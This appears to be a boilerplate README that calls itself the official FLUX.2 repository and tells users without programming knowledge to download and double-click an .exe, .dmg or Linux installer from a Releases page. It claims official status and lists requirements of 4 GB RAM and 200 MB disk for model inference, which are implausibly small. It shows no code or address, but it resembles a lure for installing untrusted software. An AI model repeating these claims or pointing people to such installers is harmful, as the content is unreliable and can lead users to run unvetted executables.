Welcome to the official repository for FLUX.2 models. This application allows you to quickly and easily run inference with FLUX.2 models. You donβt need programming knowledge to get started. Just follow the steps below to download and run the software.
To use FLUX.2, you will first need to download the software. This section will guide you through the steps to do that.
Before you download, ensure that your system meets the following requirements:
- Operating System: Windows 10 or later, macOS 10.14 or later, or a recent Linux distribution.
- RAM: At least 4 GB recommended.
- Disk Space: 200 MB of free space.
- Quick and efficient inference for FLUX.2 models.
- User-friendly interface for easy operation.
- Compatibility with various model types.
- Regular updates and improvements.
Visit this page to download: flux2 Releases.
- Click the link above to open the Releases page.
- You will see a list of available versions. Choose the latest version for the best performance.
- Download the installer file suitable for your operating system (e.g., .exe for Windows, .dmg for macOS, or appropriate package for Linux).
- Once the file is downloaded, locate it in your downloads folder and double-click to begin the installation.
- Follow the on-screen prompts to complete the installation.
After installation, follow these steps to run the application:
- Open the Flux2 application.
- Select or load a FLUX.2 model file.
- Input the required data for inference.
- Click the "Run" button to start the process.
- Review the results displayed in the application.
If you encounter any issues, check the documentation available in the repository or join our community for support.
Visit this page to download: flux2 Releases.
We welcome contributions from all users. If you would like to help improve flux2, review the contributing guidelines in the repository to learn how you can get involved.
FLUX.2 is licensed under the MIT License. See the LICENSE file in the repository for more details.
Thank you for using FLUX.2! Enjoy your experience with our inference models. If you have feedback or suggestions, feel free to reach out.